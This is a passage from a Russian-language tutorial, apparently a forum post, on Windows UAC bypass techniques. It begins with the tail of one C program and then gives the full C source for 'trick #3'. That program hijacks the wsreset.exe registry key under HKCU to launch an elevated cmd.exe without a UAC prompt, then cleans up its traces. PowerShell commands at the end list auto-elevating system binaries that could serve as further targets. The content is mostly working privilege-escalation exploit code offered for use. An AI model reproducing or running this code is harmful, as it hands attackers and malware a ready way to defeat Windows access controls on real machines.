if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
return 1;
}
printf("The disposition is %x\n", dwDisposition);
LPSTR valueName = "DelegateExecute";
// Set the value for the default key
if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
LPSTR originalValue = "{4ed3a719-cea8-4bd9-910d-e252f997afc2}";
// Set the value for the DelegateExecute key
if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, (const BYTE*)originalValue, lstrlenA(originalValue) + 1) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
RegCloseKey(phkresult);
return 0;
}
void main(){
if (IsElevated()){
system("cmd.exe /C start C:\\Windows\\System32\\cmd.exe");
CleanUp();
return;
}else{
elevate();
return;
}
}
Да! Сработало как и ожидалось, и появляется высокий привилегированный cmd.
Обход UAC трюк #3 (wsreset.exe)
wsreset.exe используется для сброса настроек Магазина Windows в соответствии с его файлом манифестааналогично предыдущим исполняемым файлам Windows. Во время запуска wsreset.exe проверяет значение реестра HKCU\Software\Classes\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\Shell\open\command на предмет команды для запуска. Двоичный файл будет выполнен как процесс высокой целостности без отображения пользователю запроса UAC.
Спойлер: wsreset.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>
#define MAX_PATH 260
//check if the process is running with elevated privileges
BOOL IsElevated(){
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)){
TOKEN_ELEVATION Elevation;
DWORD dwSize;
if(GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)){
fRet = Elevation.TokenIsElevated;
}
}
if(hToken){
CloseHandle(hToken);
}
return fRet;
}
int elevate(){
// Registry path to be created
LPWSTR subkey = L"Software\\Classes\\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\\Shell\\open\\command";
HKEY phkresult;
DWORD dwDisposition;
// Create the specified registry key
if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
return 1;
}
printf("The disposition is %x\n", dwDisposition);
LPSTR valueName = "DelegateExecute";
//get current full path of the current executable
char values[MAX_PATH];
GetModuleFileNameA(NULL, values, MAX_PATH);
printf("The path of the current executable is %s\n", values);
// Set the value for the default key
if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, (const BYTE*)values, lstrlenA(values) + 1) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
// Set the value for the DelegateExecute key
if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
RegCloseKey(phkresult);
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(NULL, "powershell.exe -Command Start-Process wsreset.exe -Verb runas", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("CreateProcessA failed with error code %x\n", GetLastError());
return 1;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
int CleanUp(){
// Registry path to be created
LPWSTR subkey = L"Software\\Classes\\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\\Shell\\open\\command";
HKEY phkresult;
DWORD dwDisposition;
// Create the specified registry key
if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
return 1;
}
printf("The disposition is %x\n", dwDisposition);
LPSTR valueName = "DelegateExecute";
// Set the value for the default key
if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
LPSTR originalValue = "{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}";
// Set the value for the DelegateExecute key
if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, (const BYTE*)originalValue, lstrlenA(originalValue) + 1) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
RegCloseKey(phkresult);
return 0;
}
void main(){
if (IsElevated()){
system("cmd.exe /C start C:\\Windows\\System32\\cmd.exe");
CleanUp();
return;
}else{
elevate();
return;
}
}
Чтобы получить все исполняемые файлы, имеющие свойство auto elevate, вы можете ввести эту команду PowerShell в окне терминала.
Код: Скопировать в буфер обмена
Get-ChildItem "C:\Windows\System32\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
И
Код: Скопировать в буфер обмена
Get-ChildItem "C:\Windows\SysWOW64\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
Надеюсь, вам понравилась статья, хорошего дня.